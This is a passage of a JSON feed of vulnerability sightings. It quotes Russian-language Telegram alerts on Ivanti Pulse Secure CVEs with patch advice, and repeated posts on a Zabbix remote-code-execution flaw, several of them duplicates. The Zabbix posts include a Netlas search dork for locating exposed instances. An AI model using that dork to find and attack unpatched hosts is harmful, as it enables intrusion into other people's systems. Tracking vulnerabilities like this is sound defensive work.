\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\u2022 CVE-2024-21887: \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0441\u0434\u0435\u043b\u0430\u0432 \u0435\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 CVE-2024-21893: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN-\u0441\u0435\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 CVE-2024-22024: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcac \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n\n1) \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u044e \u0432\u0435\u0440\u0441\u0438\u044e: 9.1.18.2-24467.1 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b.\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435: 9.1R11.4-24502.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\n2) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\u2022 \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0434\u0432\u0443\u0445\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\u2022 \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438.\n\u2022 \u0411\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438.\n\u2022 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441.\n\n3) \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u043c\u0438\n\nIvanti \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n#PulseSecure #Ivanti #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-06T11:00:13.070530Z"}, {"uuid": "7dbb83dc-b204-451c-8f1a-bfbcab1d78de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/167", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Ivanti CVE-2024-22024: \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f\n\n\ud83d\udd25 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0448\u043b\u044e\u0437\u0430\u0445 ICS, IPS \u0438 ZTA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\ude31 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 XXE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML \u0438 \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\ud83d\ude33 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b, \u043d\u043e Ivanti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u043e\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0442.\n\n #ivanti #vulnerability #ics #zta\n\n@ZerodayAlert", "creation_timestamp": "2026-07-06T11:00:13.409407Z"}, {"uuid": "e7968f4b-bb27-4099-922f-b242ce1063cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22196", "type": "published-proof-of-concept", "source": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h374-mm57-879c", "content": "", "creation_timestamp": "2026-07-06T20:35:05.572019Z"}, {"uuid": "3a9f55ec-c580-403c-bdee-89abe41eb55b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22197", "type": "published-proof-of-concept", "source": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-pxmr-q2x3-9x9m", "content": "", "creation_timestamp": "2026-07-06T20:35:07.811679Z"}, {"uuid": "196c7e46-dff4-4c33-bf38-f86441eaca3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2024-22198", "type": "published-proof-of-concept", "source": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35", "content": "", "creation_timestamp": "2026-07-06T20:35:10.008932Z"}, {"uuid": "c5b1cdf8-c330-4e75-8dc7-195cec8c4021", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/174", "content": "1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0438 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439: Ivanti Pulse Secure \u2014 \u043c\u0438\u043d\u0430 \u0437\u0430\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Eclypsium \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 Pulse Secure \u043e\u0442 Ivanti, \u0447\u0442\u043e \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\n\u26a1\ufe0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438:\n\n\u2022 1200 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.\n\u2022 5000 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 Python.\n\u2022 133 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430.\n\u2022 \u041d\u0435\u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0441\u0442\u0432\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd14 \u0427\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438:\n\n\u2022 CVE-2023-46805: \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\u2022 CVE-2024-21887: \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0441\u0434\u0435\u043b\u0430\u0432 \u0435\u0433\u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u2022 CVE-2024-21893: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a VPN-\u0441\u0435\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\u2022 CVE-2024-22024: \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u0438 \u0438 \u043a\u043b\u044e\u0447\u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\ud83d\udcac \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c\n\n1) \u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u0432\u043e\u044e \u0432\u0435\u0440\u0441\u0438\u044e: 9.1.18.2-24467.1 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b.\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435: 9.1R11.4-24502.1 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e.\n\n2) \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u0435\u0440\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\u2022 \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u0435 \u0434\u0432\u0443\u0445\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\n\u2022 \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438.\n\u2022 \u0411\u0443\u0434\u044c\u0442\u0435 \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u044b \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u043c\u0438 \u0430\u0442\u0430\u043a\u0430\u043c\u0438.\n\u2022 \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441.\n\n3) \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043d\u043e\u0432\u043e\u0441\u0442\u044f\u043c\u0438\n\nIvanti \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438.\n\n#PulseSecure #Ivanti #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-07T00:00:21.080647Z"}, {"uuid": "60101424-ed17-436c-a1e6-016b10e33576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/167", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Ivanti CVE-2024-22024: \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f\n\n\ud83d\udd25 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0448\u043b\u044e\u0437\u0430\u0445 ICS, IPS \u0438 ZTA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\ude31 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 XXE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML \u0438 \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\ud83d\ude33 \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b, \u043d\u043e Ivanti \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u041f\u043e\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435\u0442.\n\n #ivanti #vulnerability #ics #zta\n\n@ZerodayAlert", "creation_timestamp": "2026-07-07T00:00:21.505427Z"}, {"uuid": "a8fe156c-b765-4105-aeee-0c730a09fee7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/brutsecurity/789", "content": "CVE-2024-22116: RCE in Zabbix, 9.9 rating \ud83d\udd25\n\nLack of escaping for script parameters allows an attacker to execute arbitrary code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/KoYW4\n\ud83d\udc49 Dork: http.favicon.hash_sha256:22b06a141c425c92951056805f46691c4cd8e7547ed90b8836a282950d4b4be2\n\nVendor's advisory: https://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-09T03:00:13.028885Z"}, {"uuid": "e87e02ff-f6e5-4060-a86b-d83062dd9acc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/brutsecurity/789", "content": "CVE-2024-22116: RCE in Zabbix, 9.9 rating \ud83d\udd25\n\nLack of escaping for script parameters allows an attacker to execute arbitrary code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/KoYW4\n\ud83d\udc49 Dork: http.favicon.hash_sha256:22b06a141c425c92951056805f46691c4cd8e7547ed90b8836a282950d4b4be2\n\nVendor's advisory: https://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-10T00:00:36.850841Z"}, {"uuid": "1108852c-1a63-47ca-abb5-58abad847ef4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/brutsecurity/789", "content": "CVE-2024-22116: RCE in Zabbix, 9.9 rating \ud83d\udd25\n\nLack of escaping for script parameters allows an attacker to execute arbitrary code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/KoYW4\n\ud83d\udc49 Dork: http.favicon.hash_sha256:22b06a141c425c92951056805f46691c4cd8e7547ed90b8836a282950d4b4be2\n\nVendor's advisory: https://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-11T18:00:04.955862Z"}, {"uuid": "fa76c279-e3ab-462e-b314-1719553c864a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "seen", "source": "https://t.me/brutsecurity/789", "content": "CVE-2024-22116: RCE in Zabbix, 9.9 rating \ud83d\udd25\n\nLack of escaping for script parameters allows an attacker to execute arbitrary code.\n\nSearch at Netlas.io:\n\ud83d\udc49 Link: https://nt.ls/KoYW4\n\ud83d\udc49 Dork: http.favicon.hash_sha256:22b06a141c425c92951056805f46691c4cd8e7547ed90b8836a282950d4b4be2\n\nVendor's advisory: https://support.zabbix.com/browse/ZBX-25016", "creation_timestamp": "2026-07-12T00:00:42.237627Z"}, {"uuid": "78cafd47-dc0b-464c-a1aa-6bad37274a8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ZerodayAlert/167", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Ivanti CVE-2024-22024: \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f\n\n\ud83d\udd25 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Ivanti \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043e \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0448\u043b\u044e\u0437\u0430\u0445 ICS, IPS \u0438 ZTA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u0431\u0445\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432.\n\n\ud83d\ude31 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 XXE \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SAML \u0438 \u0434\u0430\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0431\u0435\u0437 